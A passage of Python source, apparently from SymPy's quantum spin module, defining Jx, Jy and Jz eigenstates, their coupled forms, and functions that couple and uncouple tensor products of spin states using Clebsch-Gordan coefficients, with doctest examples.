sum over them. # OR # Inner product of |i><j| = Trace(Outer Product). # we could just use this unless there are cases when this is not true return (bra*self).doit() class JxKet(SpinState, Ket): """Eigenket of Jx. See JzKet for the usage of spin eigenstates. See Also ======== JzKet: Usage of spin states """ @classmethod def dual_class(self): return JxBra @classmethod def coupled_class(self): return JxKetCoupled def _represent_default_basis(self, **options): return self._represent_JxOp(None, **options) def _represent_JxOp(self, basis, **options): return self._represent_base(**options) def _represent_JyOp(self, basis, **options): return self._represent_base(alpha=3*pi/2, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(beta=pi/2, **options) class JxBra(SpinState, Bra): """Eigenbra of Jx. See JzKet for the usage of spin eigenstates. See Also ======== JzKet: Usage of spin states """ @classmethod def dual_class(self): return JxKet @classmethod def coupled_class(self): return JxBraCoupled class JyKet(SpinState, Ket): """Eigenket of Jy. See JzKet for the usage of spin eigenstates. See Also ======== JzKet: Usage of spin states """ @classmethod def dual_class(self): return JyBra @classmethod def coupled_class(self): return JyKetCoupled def _represent_default_basis(self, **options): return self._represent_JyOp(None, **options) def _represent_JxOp(self, basis, **options): return self._represent_base(gamma=pi/2, **options) def _represent_JyOp(self, basis, **options): return self._represent_base(**options) def _represent_JzOp(self, basis, **options): return self._represent_base(alpha=3*pi/2, beta=-pi/2, gamma=pi/2, **options) class JyBra(SpinState, Bra): """Eigenbra of Jy. See JzKet for the usage of spin eigenstates. See Also ======== JzKet: Usage of spin states """ @classmethod def dual_class(self): return JyKet @classmethod def coupled_class(self): return JyBraCoupled class JzKet(SpinState, Ket): """Eigenket of Jz. Spin state which is an eigenstate of the Jz operator. Uncoupled states, that is states representing the interaction of multiple separate spin states, are defined as a tensor product of states. Parameters ========== j : Number, Symbol Total spin angular momentum m : Number, Symbol Eigenvalue of the Jz spin operator Examples ======== *Normal States:* Defining simple spin states, both numerical and symbolic: >>> from sympy.physics.quantum.spin import JzKet, JxKet >>> from sympy import symbols >>> JzKet(1, 0) |1,0> >>> j, m = symbols('j m') >>> JzKet(j, m) |j,m> Rewriting the JzKet in terms of eigenkets of the Jx operator: Note: that the resulting eigenstates are JxKet's >>> JzKet(1,1).rewrite("Jx") |1,-1>/2 - sqrt(2)*|1,0>/2 + |1,1>/2 Get the vector representation of a state in terms of the basis elements of the Jx operator: >>> from sympy.physics.quantum.represent import represent >>> from sympy.physics.quantum.spin import Jx, Jz >>> represent(JzKet(1,-1), basis=Jx) Matrix([ [ 1/2], [sqrt(2)/2], [ 1/2]]) Apply innerproducts between states: >>> from sympy.physics.quantum.innerproduct import InnerProduct >>> from sympy.physics.quantum.spin import JxBra >>> i = InnerProduct(JxBra(1,1), JzKet(1,1)) >>> i <1,1|1,1> >>> i.doit() 1/2 *Uncoupled States:* Define an uncoupled state as a TensorProduct between two Jz eigenkets: >>> from sympy.physics.quantum.tensorproduct import TensorProduct >>> j1,m1,j2,m2 = symbols('j1 m1 j2 m2') >>> TensorProduct(JzKet(1,0), JzKet(1,1)) |1,0>x|1,1> >>> TensorProduct(JzKet(j1,m1), JzKet(j2,m2)) |j1,m1>x|j2,m2> A TensorProduct can be rewritten, in which case the eigenstates that make up the tensor product is rewritten to the new basis: >>> TensorProduct(JzKet(1,1),JxKet(1,1)).rewrite('Jz') |1,1>x|1,-1>/2 + sqrt(2)*|1,1>x|1,0>/2 + |1,1>x|1,1>/2 The represent method for TensorProduct's gives the vector representation of the state. Note that the state in the product basis is the equivalent of the tensor product of the vector representation of the component eigenstates: >>> represent(TensorProduct(JzKet(1,0),JzKet(1,1))) Matrix([ [0], [0], [0], [1], [0], [0], [0], [0], [0]]) >>> represent(TensorProduct(JzKet(1,1),JxKet(1,1)), basis=Jz) Matrix([ [ 1/2], [sqrt(2)/2], [ 1/2], [ 0], [ 0], [ 0], [ 0], [ 0], [ 0]]) See Also ======== JzKetCoupled: Coupled eigenstates TensorProduct: Used to specify uncoupled states uncouple: Uncouples states given coupling parameters couple: Couples uncoupled states """ @classmethod def dual_class(self): return JzBra @classmethod def coupled_class(self): return JzKetCoupled def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JxOp(self, basis, **options): return self._represent_base(beta=3*pi/2, **options) def _represent_JyOp(self, basis, **options): return self._represent_base(alpha=3*pi/2, beta=pi/2, gamma=pi/2, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(**options) class JzBra(SpinState, Bra): """Eigenbra of Jz. See the JzKet for the usage of spin eigenstates. See Also ======== JzKet: Usage of spin states """ @classmethod def dual_class(self): return JzKet @classmethod def coupled_class(self): return JzBraCoupled # Method used primarily to create coupled_n and coupled_jn by __new__ in # CoupledSpinState # This same method is also used by the uncouple method, and is separated from # the CoupledSpinState class to maintain consistency in defining coupling def _build_coupled(jcoupling, length): n_list = [ [n + 1] for n in range(length) ] coupled_jn = [] coupled_n = [] for n1, n2, j_new in jcoupling: coupled_jn.append(j_new) coupled_n.append( (n_list[n1 - 1], n_list[n2 - 1]) ) n_sort = sorted(n_list[n1 - 1] + n_list[n2 - 1]) n_list[n_sort[0] - 1] = n_sort return coupled_n, coupled_jn class CoupledSpinState(SpinState): """Base class for coupled angular momentum states.""" def __new__(cls, j, m, jn, *jcoupling): # Check j and m values using SpinState SpinState(j, m) # Build and check coupling scheme from arguments if len(jcoupling) == 0: # Use default coupling scheme jcoupling = [] for n in range(2, len(jn)): jcoupling.append( (1, n, Add(*[jn[i] for i in range(n)])) ) jcoupling.append( (1, len(jn), j) ) elif len(jcoupling) == 1: # Use specified coupling scheme jcoupling = jcoupling[0] else: raise TypeError("CoupledSpinState only takes 3 or 4 arguments, got: %s" % (len(jcoupling) + 3) ) # Check arguments have correct form if not (isinstance(jn, list) or isinstance(jn, tuple) or isinstance(jn, Tuple)): raise TypeError('jn must be Tuple, list or tuple, got %s' % jn.__class__.__name__) if not (isinstance(jcoupling, list) or isinstance(jcoupling, tuple) or isinstance(jcoupling, Tuple)): raise TypeError('jcoupling must be Tuple, list or tuple, got %s' % jcoupling.__class__.__name__) if not all(isinstance(term, list) or isinstance(term, tuple) or isinstance(term, Tuple) for term in jcoupling): raise TypeError( 'All elements of jcoupling must be list, tuple or Tuple') if not len(jn) - 1 == len(jcoupling): raise ValueError('jcoupling must have length of %d, got %d' % (len(jn) - 1, len(jcoupling))) if not all(len(x) == 3 for x in jcoupling): raise ValueError('All elements of jcoupling must have length 3') # Build sympified args j = sympify(j) m = sympify(m) jn = Tuple( *[sympify(ji) for ji in jn] ) jcoupling = Tuple( *[Tuple(sympify( n1), sympify(n2), sympify(ji)) for (n1, n2, ji) in jcoupling] ) # Check values in coupling scheme give physical state if any(2*ji != int(2*ji) for ji in jn if ji.is_number): raise ValueError('All elements of jn must be integer or half-integer, got: %s' % jn) if any(n1 != int(n1) or n2 != int(n2) for (n1, n2, _) in jcoupling): raise ValueError('Indicies in jcoupling must be integers') if any(n1 < 1 or n2 < 1 or n1 > len(jn) or n2 > len(jn) for (n1, n2, _) in jcoupling): raise ValueError('Indicies must be between 1 and the number of coupled spin spaces') if any(2*ji != int(2*ji) for (_, _, ji) in jcoupling if ji.is_number): raise ValueError('All coupled j values in coupling scheme must be integer or half-integer') coupled_n, coupled_jn = _build_coupled(jcoupling, len(jn)) jvals = list(jn) for n, (n1, n2) in enumerate(coupled_n): j1 = jvals[min(n1) - 1] j2 = jvals[min(n2) - 1] j3 = coupled_jn[n] if sympify(j1).is_number and sympify(j2).is_number and sympify(j3).is_number: if j1 + j2 < j3: raise ValueError('All couplings must have j1+j2 >= j3, ' 'in coupling number %d got j1,j2,j3: %d,%d,%d' % (n + 1, j1, j2, j3)) if abs(j1 - j2) > j3: raise ValueError("All couplings must have |j1+j2| <= j3, " "in coupling number %d got j1,j2,j3: %d,%d,%d" % (n + 1, j1, j2, j3)) if int(j1 + j2) == j1 + j2: pass jvals[min(n1 + n2) - 1] = j3 if len(jcoupling) > 0 and jcoupling[-1][2] != j: raise ValueError('Last j value coupled together must be the final j of the state') # Return state return State.__new__(cls, j, m, jn, jcoupling) def _print_label(self, printer, *args): label = [printer._print(self.j), printer._print(self.m)] for i, ji in enumerate(self.jn, start=1): label.append('j%d=%s' % ( i, printer._print(ji) )) for jn, (n1, n2) in zip(self.coupled_jn[:-1], self.coupled_n[:-1]): label.append('j(%s)=%s' % ( ','.join(str(i) for i in sorted(n1 + n2)), printer._print(jn) )) return ','.join(label) def _print_label_pretty(self, printer, *args): label = [self.j, self.m] for i, ji in enumerate(self.jn, start=1): symb = 'j%d' % i symb = pretty_symbol(symb) symb = prettyForm(symb + '=') item = prettyForm(*symb.right(printer._print(ji))) label.append(item) for jn, (n1, n2) in zip(self.coupled_jn[:-1], self.coupled_n[:-1]): n = ','.join(pretty_symbol("j%d" % i)[-1] for i in sorted(n1 + n2)) symb = prettyForm('j' + n + '=') item = prettyForm(*symb.right(printer._print(jn))) label.append(item) return self._print_sequence_pretty( label, self._label_separator, printer, *args ) def _print_label_latex(self, printer, *args): label = [self.j, self.m] for i, ji in enumerate(self.jn, start=1): label.append('j_{%d}=%s' % (i, printer._print(ji)) ) for jn, (n1, n2) in zip(self.coupled_jn[:-1], self.coupled_n[:-1]): n = ','.join(str(i) for i in sorted(n1 + n2)) label.append('j_{%s}=%s' % (n, printer._print(jn)) ) return self._print_sequence( label, self._label_separator, printer, *args ) @property def jn(self): return self.label[2] @property def coupling(self): return self.label[3] @property def coupled_jn(self): return _build_coupled(self.label[3], len(self.label[2]))[1] @property def coupled_n(self): return _build_coupled(self.label[3], len(self.label[2]))[0] @classmethod def _eval_hilbert_space(cls, label): j = Add(*label[2]) if j.is_number: return DirectSumHilbertSpace(*[ ComplexSpace(x) for x in range(int(2*j + 1), 0, -2) ]) else: # TODO: Need hilbert space fix, see issue 5732 # Desired behavior: #ji = symbols('ji') #ret = Sum(ComplexSpace(2*ji + 1), (ji, 0, j)) # Temporary fix: return ComplexSpace(2*j + 1) def _represent_coupled_base(self, **options): evect = self.uncoupled_class() if not self.j.is_number: raise ValueError( 'State must not have symbolic j value to represent') if not self.hilbert_space.dimension.is_number: raise ValueError( 'State must not have symbolic j values to represent') result = zeros(self.hilbert_space.dimension, 1) if self.j == int(self.j): start = self.j**2 else: start = (2*self.j - 1)*(1 + 2*self.j)/4 result[start:start + 2*self.j + 1, 0] = evect( self.j, self.m)._represent_base(**options) return result def _eval_rewrite_as_Jx(self, *args, **options): if isinstance(self, Bra): return self._rewrite_basis(Jx, JxBraCoupled, **options) return self._rewrite_basis(Jx, JxKetCoupled, **options) def _eval_rewrite_as_Jy(self, *args, **options): if isinstance(self, Bra): return self._rewrite_basis(Jy, JyBraCoupled, **options) return self._rewrite_basis(Jy, JyKetCoupled, **options) def _eval_rewrite_as_Jz(self, *args, **options): if isinstance(self, Bra): return self._rewrite_basis(Jz, JzBraCoupled, **options) return self._rewrite_basis(Jz, JzKetCoupled, **options) class JxKetCoupled(CoupledSpinState, Ket): """Coupled eigenket of Jx. See JzKetCoupled for the usage of coupled spin eigenstates. See Also ======== JzKetCoupled: Usage of coupled spin states """ @classmethod def dual_class(self): return JxBraCoupled @classmethod def uncoupled_class(self): return JxKet def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JxOp(self, basis, **options): return self._represent_coupled_base(**options) def _represent_JyOp(self, basis, **options): return self._represent_coupled_base(alpha=3*pi/2, **options) def _represent_JzOp(self, basis, **options): return self._represent_coupled_base(beta=pi/2, **options) class JxBraCoupled(CoupledSpinState, Bra): """Coupled eigenbra of Jx. See JzKetCoupled for the usage of coupled spin eigenstates. See Also ======== JzKetCoupled: Usage of coupled spin states """ @classmethod def dual_class(self): return JxKetCoupled @classmethod def uncoupled_class(self): return JxBra class JyKetCoupled(CoupledSpinState, Ket): """Coupled eigenket of Jy. See JzKetCoupled for the usage of coupled spin eigenstates. See Also ======== JzKetCoupled: Usage of coupled spin states """ @classmethod def dual_class(self): return JyBraCoupled @classmethod def uncoupled_class(self): return JyKet def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JxOp(self, basis, **options): return self._represent_coupled_base(gamma=pi/2, **options) def _represent_JyOp(self, basis, **options): return self._represent_coupled_base(**options) def _represent_JzOp(self, basis, **options): return self._represent_coupled_base(alpha=3*pi/2, beta=-pi/2, gamma=pi/2, **options) class JyBraCoupled(CoupledSpinState, Bra): """Coupled eigenbra of Jy. See JzKetCoupled for the usage of coupled spin eigenstates. See Also ======== JzKetCoupled: Usage of coupled spin states """ @classmethod def dual_class(self): return JyKetCoupled @classmethod def uncoupled_class(self): return JyBra class JzKetCoupled(CoupledSpinState, Ket): """Coupled eigenket of Jz Spin state that is an eigenket of Jz which represents the coupling of separate spin spaces. The arguments for creating instances of JzKetCoupled are ``j``, ``m``, ``jn`` and an optional ``jcoupling`` argument. The ``j`` and ``m`` options are the total angular momentum quantum numbers, as used for normal states (e.g. JzKet). The other required parameter in ``jn``, which is a tuple defining the `j_n` angular momentum quantum numbers of the product spaces. So for example, if a state represented the coupling of the product basis state `|j_1,m_1\\rangle\\times|j_2,m_2\\rangle`, the ``jn`` for this state would be ``(j1,j2)``. The final option is ``jcoupling``, which is used to define how the spaces specified by ``jn`` are coupled, which includes both the order these spaces are coupled together and the quantum numbers that arise from these couplings. The ``jcoupling`` parameter itself is a list of lists, such that each of the sublists defines a single coupling between the spin spaces. If there are N coupled angular momentum spaces, that is ``jn`` has N elements, then there must be N-1 sublists. Each of these sublists making up the ``jcoupling`` parameter have length 3. The first two elements are the indicies of the product spaces that are considered to be coupled together. For example, if we want to couple `j_1` and `j_4`, the indicies would be 1 and 4. If a state has already been coupled, it is referenced by the smallest index that is coupled, so if `j_2` and `j_4` has already been coupled to some `j_{24}`, then this value can be coupled by referencing it with index 2. The final element of the sublist is the quantum number of the coupled state. So putting everything together, into a valid sublist for ``jcoupling``, if `j_1` and `j_2` are coupled to an angular momentum space with quantum number `j_{12}` with the value ``j12``, the sublist would be ``(1,2,j12)``, N-1 of these sublists are used in the list for ``jcoupling``. Note the ``jcoupling`` parameter is optional, if it is not specified, the default coupling is taken. This default value is to coupled the spaces in order and take the quantum number of the coupling to be the maximum value. For example, if the spin spaces are `j_1`, `j_2`, `j_3`, `j_4`, then the default coupling couples `j_1` and `j_2` to `j_{12}=j_1+j_2`, then, `j_{12}` and `j_3` are coupled to `j_{123}=j_{12}+j_3`, and finally `j_{123}` and `j_4` to `j=j_{123}+j_4`. The jcoupling value that would correspond to this is: ``((1,2,j1+j2),(1,3,j1+j2+j3))`` Parameters ========== args : tuple The arguments that must be passed are ``j``, ``m``, ``jn``, and ``jcoupling``. The ``j`` value is the total angular momentum. The ``m`` value is the eigenvalue of the Jz spin operator. The ``jn`` list are the j values of argular momentum spaces coupled together. The ``jcoupling`` parameter is an optional parameter defining how the spaces are coupled together. See the above description for how these coupling parameters are defined. Examples ======== Defining simple spin states, both numerical and symbolic: >>> from sympy.physics.quantum.spin import JzKetCoupled >>> from sympy import symbols >>> JzKetCoupled(1, 0, (1, 1)) |1,0,j1=1,j2=1> >>> j, m, j1, j2 = symbols('j m j1 j2') >>> JzKetCoupled(j, m, (j1, j2)) |j,m,j1=j1,j2=j2> Defining coupled spin states for more than 2 coupled spaces with various coupling parameters: >>> JzKetCoupled(2, 1, (1, 1, 1)) |2,1,j1=1,j2=1,j3=1,j(1,2)=2> >>> JzKetCoupled(2, 1, (1, 1, 1), ((1,2,2),(1,3,2)) ) |2,1,j1=1,j2=1,j3=1,j(1,2)=2> >>> JzKetCoupled(2, 1, (1, 1, 1), ((2,3,1),(1,2,2)) ) |2,1,j1=1,j2=1,j3=1,j(2,3)=1> Rewriting the JzKetCoupled in terms of eigenkets of the Jx operator: Note: that the resulting eigenstates are JxKetCoupled >>> JzKetCoupled(1,1,(1,1)).rewrite("Jx") |1,-1,j1=1,j2=1>/2 - sqrt(2)*|1,0,j1=1,j2=1>/2 + |1,1,j1=1,j2=1>/2 The rewrite method can be used to convert a coupled state to an uncoupled state. This is done by passing coupled=False to the rewrite function: >>> JzKetCoupled(1, 0, (1, 1)).rewrite('Jz', coupled=False) -sqrt(2)*|1,-1>x|1,1>/2 + sqrt(2)*|1,1>x|1,-1>/2 Get the vector representation of a state in terms of the basis elements of the Jx operator: >>> from sympy.physics.quantum.represent import represent >>> from sympy.physics.quantum.spin import Jx >>> from sympy import S >>> represent(JzKetCoupled(1,-1,(S(1)/2,S(1)/2)), basis=Jx) Matrix([ [ 0], [ 1/2], [sqrt(2)/2], [ 1/2]]) See Also ======== JzKet: Normal spin eigenstates uncouple: Uncoupling of coupling spin states couple: Coupling of uncoupled spin states """ @classmethod def dual_class(self): return JzBraCoupled @classmethod def uncoupled_class(self): return JzKet def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JxOp(self, basis, **options): return self._represent_coupled_base(beta=3*pi/2, **options) def _represent_JyOp(self, basis, **options): return self._represent_coupled_base(alpha=3*pi/2, beta=pi/2, gamma=pi/2, **options) def _represent_JzOp(self, basis, **options): return self._represent_coupled_base(**options) class JzBraCoupled(CoupledSpinState, Bra): """Coupled eigenbra of Jz. See the JzKetCoupled for the usage of coupled spin eigenstates. See Also ======== JzKetCoupled: Usage of coupled spin states """ @classmethod def dual_class(self): return JzKetCoupled @classmethod def uncoupled_class(self): return JzBra #----------------------------------------------------------------------------- # Coupling/uncoupling #----------------------------------------------------------------------------- def couple(expr, jcoupling_list=None): """ Couple a tensor product of spin states This function can be used to couple an uncoupled tensor product of spin states. All of the eigenstates to be coupled must be of the same class. It will return a linear combination of eigenstates that are subclasses of CoupledSpinState determined by Clebsch-Gordan angular momentum coupling coefficients. Parameters ========== expr : Expr An expression involving TensorProducts of spin states to be coupled. Each state must be a subclass of SpinState and they all must be the same class. jcoupling_list : list or tuple Elements of this list are sub-lists of length 2 specifying the order of the coupling of the spin spaces. The length of this must be N-1, where N is the number of states in the tensor product to be coupled. The elements of this sublist are the same as the first two elements of each sublist in the ``jcoupling`` parameter defined for JzKetCoupled. If this parameter is not specified, the default value is taken, which couples the first and second product basis spaces, then couples this new coupled space to the third product space, etc Examples ======== Couple a tensor product of numerical states for two spaces: >>> from sympy.physics.quantum.spin import JzKet, couple >>> from sympy.physics.quantum.tensorproduct import TensorProduct >>> couple(TensorProduct(JzKet(1,0), JzKet(1,1))) -sqrt(2)*|1,1,j1=1,j2=1>/2 + sqrt(2)*|2,1,j1=1,j2=1>/2 Numerical coupling of three spaces using the default coupling method, i.e. first and second spaces couple, then this couples to the third space: >>> couple(TensorProduct(JzKet(1,1), JzKet(1,1), JzKet(1,0))) sqrt(6)*|2,2,j1=1,j2=1,j3=1,j(1,2)=2>/3 + sqrt(3)*|3,2,j1=1,j2=1,j3=1,j(1,2)=2>/3 Perform this same coupling, but we define the coupling to first couple the first and third spaces: >>> couple(TensorProduct(JzKet(1,1), JzKet(1,1), JzKet(1,0)), ((1,3),(1,2)) ) sqrt(2)*|2,2,j1=1,j2=1,j3=1,j(1,3)=1>/2 - sqrt(6)*|2,2,j1=1,j2=1,j3=1,j(1,3)=2>/6 + sqrt(3)*|3,2,j1=1,j2=1,j3=1,j(1,3)=2>/3 Couple a tensor product of symbolic states: >>> from sympy import symbols >>> j1,m1,j2,m2 = symbols('j1 m1 j2 m2') >>> couple(TensorProduct(JzKet(j1,m1), JzKet(j2,m2))) Sum(CG(j1, m1, j2, m2, j, m1 + m2)*|j,m1 + m2,j1=j1,j2=j2>, (j, m1 + m2, j1 + j2)) """ a = expr.atoms(TensorProduct) for tp in a: # Allow other tensor products to be in expression if not all([ isinstance(state, SpinState) for state in tp.args]): continue # If tensor product has all spin states, raise error for invalid tensor product state if not all([state.__class__ is tp.args[0].__class__ for state in tp.args]): raise TypeError('All states must be the same basis') expr = expr.subs(tp, _couple(tp, jcoupling_list)) return expr def _couple(tp, jcoupling_list): states = tp.args coupled_evect = states[0].coupled_class() # Define default coupling if none is specified if jcoupling_list is None: jcoupling_list = [] for n in range(1, len(states)): jcoupling_list.append( (1, n + 1) ) # Check jcoupling_list valid if not len(jcoupling_list) == len(states) - 1: raise TypeError('jcoupling_list must be length %d, got %d' % (len(states) - 1, len(jcoupling_list))) if not all( len(coupling) == 2 for coupling in jcoupling_list): raise ValueError('Each coupling must define 2 spaces') if any([n1 == n2 for n1, n2 in jcoupling_list]): raise ValueError('Spin spaces cannot couple to themselves') if all([sympify(n1).is_number and sympify(n2).is_number for n1, n2 in jcoupling_list]): j_test = [0]*len(states) for n1, n2 in jcoupling_list: if j_test[n1 - 1] == -1 or j_test[n2 - 1] == -1: raise ValueError('Spaces coupling j_n\'s are referenced by smallest n value') j_test[max(n1, n2) - 1] = -1 # j values of states to be coupled together jn = [state.j for state in states] mn = [state.m for state in states] # Create coupling_list, which defines all the couplings between all # the spaces from jcoupling_list coupling_list = [] n_list = [ [i + 1] for i in range(len(states)) ] for j_coupling in jcoupling_list: # Least n for all j_n which is coupled as first and second spaces n1, n2 = j_coupling # List of all n's coupled in first and second spaces j1_n = list(n_list[n1 - 1]) j2_n = list(n_list[n2 - 1]) coupling_list.append( (j1_n, j2_n) ) # Set new j_n to be coupling of all j_n in both first and second spaces n_list[ min(n1, n2) - 1 ] = sorted(j1_n + j2_n) if all(state.j.is_number and state.m.is_number for state in states): # Numerical coupling # Iterate over difference between maximum possible j value of each coupling and the actual value diff_max = [ Add( *[ jn[n - 1] - mn[n - 1] for n in coupling[0] + coupling[1] ] ) for coupling in coupling_list ] result = [] for diff in range(diff_max[-1] + 1): # Determine available configurations n = len(coupling_list) tot = binomial(diff + n - 1, diff) for config_num in range(tot): diff_list = _confignum_to_difflist(config_num, diff, n) # Skip the configuration if non-physical # This is a lazy check for physical states given the loose restrictions of diff_max if any( [ d > m for d, m in zip(diff_list, diff_max) ] ): continue # Determine term cg_terms = [] coupled_j = list(jn) jcoupling = [] for (j1_n, j2_n), coupling_diff in zip(coupling_list, diff_list): j1 = coupled_j[ min(j1_n) - 1 ] j2 = coupled_j[ min(j2_n) - 1 ] j3 = j1 + j2 - coupling_diff coupled_j[ min(j1_n + j2_n) - 1 ] = j3 m1 = Add( *[ mn[x - 1] for x in j1_n] ) m2 = Add( *[ mn[x - 1] for x in j2_n] ) m3 = m1 + m2 cg_terms.append( (j1, m1, j2, m2, j3, m3) ) jcoupling.append( (min(j1_n), min(j2_n), j3) ) # Better checks that state is physical if any([ abs(term[5]) > term[4] for term in cg_terms ]): continue if any([ term[0] + term[2] < term[4] for term in cg_terms ]): continue if any([ abs(term[0] - term[2]) > term[4] for term in cg_terms ]): continue coeff = Mul( *[ CG(*term).doit() for term in cg_terms] ) state = coupled_evect(j3, m3, jn, jcoupling) result.append(coeff*state) return Add(*result) else: # Symbolic coupling cg_terms = [] jcoupling = [] sum_terms = [] coupled_j = list(jn) for j1_n, j2_n in coupling_list: j1 = coupled_j[ min(j1_n) - 1 ] j2 = coupled_j[ min(j2_n) - 1 ] if len(j1_n + j2_n) == len(states): j3 = symbols('j') else: j3_name = 'j' + ''.join(["%s" % n for n in j1_n + j2_n]) j3 = symbols(j3_name) coupled_j[ min(j1_n + j2_n) - 1 ] = j3 m1 = Add( *[ mn[x - 1] for x in j1_n] ) m2 = Add( *[ mn[x - 1] for x in j2_n] ) m3 = m1 + m2 cg_terms.append( (j1, m1, j2, m2, j3, m3) ) jcoupling.append( (min(j1_n), min(j2_n), j3) ) sum_terms.append((j3, m3, j1 + j2)) coeff = Mul( *[ CG(*term) for term in cg_terms] ) state = coupled_evect(j3, m3, jn, jcoupling) return Sum(coeff*state, *sum_terms) def uncouple(expr, jn=None, jcoupling_list=None): """ Uncouple a coupled spin state Gives the uncoupled representation of a coupled spin state. Arguments must be either a spin state that is a subclass of CoupledSpinState or a spin state that is a subclass of SpinState and an array giving the j values of the spaces that are to be coupled Parameters ========== expr : Expr The expression containing states that are to be coupled. If the states are a subclass of SpinState, the ``jn`` and ``jcoupling`` parameters must be defined. If the states are a subclass of CoupledSpinState, ``jn`` and ``jcoupling`` will be taken from the state. jn : list or tuple The list of the j-values that are coupled. If state is a CoupledSpinState, this parameter is ignored. This must be defined if state is not a subclass of CoupledSpinState. The syntax of this parameter is the same as the ``jn`` parameter of JzKetCoupled. jcoupling_list : list or tuple The list defining how the j-values are coupled together. If state is a CoupledSpinState, this parameter is ignored. This must be defined if state is not a subclass of CoupledSpinState. The syntax of this parameter is the same as the ``jcoupling`` parameter of JzKetCoupled. Examples ======== Uncouple a numerical state using a CoupledSpinState state: >>> from sympy.physics.quantum.spin import JzKetCoupled, uncouple >>> from sympy import S >>> uncouple(JzKetCoupled(1, 0, (S(1)/2, S(1)/2))) sqrt(2)*|1/2,-1/2>x|1/2,1/2>/2 + sqrt(2)*|1/2,1/2>x|1/2,-1/2>/2 Perform the same calculation using a SpinState state: >>> from sympy.physics.quantum.spin import JzKet >>> uncouple(JzKet(1, 0), (S(1)/2, S(1)/2)) sqrt(2)*|1/2,-1/2>x|1/2,1/2>/2 + sqrt(2)*|1/2,1/2>x|1/2,-1/2>/2 Uncouple a numerical state of three coupled spaces using a CoupledSpinState state: >>> uncouple(JzKetCoupled(1, 1, (1, 1, 1), ((1,3,1),(1,2,1)) )) |1,-1>x|1,1>x|1,1>/2 - |1,0>x|1,0>x|1,1>/2 + |1,1>x|1,0>x|1,0>/2 - |1,1>x|1,1>x|1,-1>/2 Perform the same calculation using a SpinState state: >>> uncouple(JzKet(1, 1), (1, 1, 1), ((1,3,1),(1,2,1)) ) |1,-1>x|1,1>x|1,1>/2 - |1,0>x|1,0>x|1,1>/2 + |1,1>x|1,0>x|1,0>/2 - |1,1>x|1,1>x|1,-1>/2 Uncouple a symbolic state using a CoupledSpinState state: >>> from sympy import symbols >>> j,m,j1,j2 = symbols('j m j1 j2') >>> uncouple(JzKetCoupled(j, m, (j1, j2))) Sum(CG(j1, m1, j2, m2, j, m)*|j1,m1>x|j2,m2>, (m1, -j1, j1), (m2, -j2, j2)) Perform the same calculation using a SpinState state >>> uncouple(JzKet(j, m), (j1, j2)) Sum(CG(j1, m1, j2, m2, j, m)*|j1,m1>x|j2,m2>, (m1, -j1, j1), (m2, -j2, j2)) """ a = expr.atoms(SpinState) for state in a: expr = expr.subs(state, _uncouple(state, jn, jcoupling_list)) return expr def _uncouple(state, jn, jcoupling_list): if isinstance(state, CoupledSpinState): jn = state.jn coupled_n = state.coupled_n coupled_jn = state.coupled_jn evect = state.uncoupled_class() elif isinstance(state, SpinState): if jn is None: raise ValueError("Must specify j-values for coupled state") if not (isinstance(jn, list) or isinstance(jn, tuple)): raise TypeError("jn must be list or tuple") if jcoupling_list is None: # Use default jcoupling_list = [] for i in range(1, len(jn)): jcoupling_list.append( (1, 1 + i, Add(*[jn[j] for j in range(i + 1)])) ) if not (isinstance(jcoupling_list, list) or isinstance(jcoupling_list, tuple)): raise TypeError("jcoupling must be a list or tuple") if not len(jcoupling_list) == len(jn) - 1: raise ValueError("Must specify 2 fewer coupling terms than the number of j values") coupled_n, coupled_jn = _build_coupled(jcoupling_list, len(jn)) evect = state.__class__ else: raise TypeError("state must be a spin state") j = state.j m = state.m coupling_list = [] j_list = list(jn) # Create coupling, which defines all the couplings between all the spaces for j3, (n1, n2) in zip(coupled_jn, coupled_n): # j's which are coupled as first and second spaces j1 = j_list[n1[0] - 1] j2 = j_list[n2[0] - 1] # Build coupling list coupling_list.append( (n1, n2, j1, j2, j3) ) # Set new value in j_list j_list[min(n1 + n2) - 1] = j3 if j.is_number and m.is_number: diff_max = [ 2*x for x in jn ] diff = Add(*jn) - m n = len(jn) tot = binomial(diff + n - 1, diff) result = [] for config_num in range(tot): diff_list = _confignum_to_difflist(config_num, diff, n) if any( [ d > p for d, p in zip(diff_list, diff_max) ] ): continue cg_terms = [] for coupling in coupling_list: j1_n, j2_n, j1, j2, j3 = coupling m1 = Add( *[ jn[x - 1] - diff_list[x - 1] for x in j1_n ] ) m2 = Add( *[ jn[x - 1] - diff_list[x - 1] for x in j2_n ] ) m3 = m1 + m2 cg_terms.append( (j1, m1, j2, m2, j3, m3) ) coeff = Mul( *[ CG(*term).doit() for term in cg_terms ] ) state = TensorProduct( *[ evect(j, j - d) for j, d in zip(jn, diff_list) ] ) result.append(coeff*state) return Add(*result) else: # Symbolic coupling m_str = "m1:%d" % (len(jn) + 1) mvals = symbols(m_str) cg_terms = [(j1, Add(*[mvals[n - 1] for n in j1_n]), j2, Add(*[mvals[n - 1] for n in j2_n]), j3, Add(*[mvals[n - 1] for n in j1_n + j2_n])) for j1_n, j2_n, j1, j2, j3 in coupling_list[:-1] ] cg_terms.append(*[(j1, Add(*[mvals[n - 1] for n in j1_n]), j2, Add(*[mvals[n - 1] for n in j2_n]), j, m) for j1_n, j2_n, j1, j2, j3 in [coupling_list[-1]] ]) cg_coeff = Mul(*[CG(*cg_term) for cg_term in cg_terms]) sum_terms = [ (m, -j, j) for j, m in zip(jn, mvals) ] state = TensorProduct( *[ evect(j, m) for j, m in zip(jn, mvals) ] ) return Sum(cg_coeff*state, *sum_terms) def _confignum_to_difflist(config_num, diff, list_len): # Determines configuration of diffs into list_len number of slots diff_list = [] for n in range(list_len): prev_diff = diff # Number of spots after current one rem_spots = list_len - n - 1 # Number of configurations of distributing diff among the remaining spots rem_configs = binomial(diff + rem_spots - 1, diff) while config_num >= rem_configs: config_num -= rem_configs diff -= 1 rem_configs = binomial(diff + rem_spots - 1, diff) diff_list.append(prev_diff - diff) return diff_list
bsd-3-clause
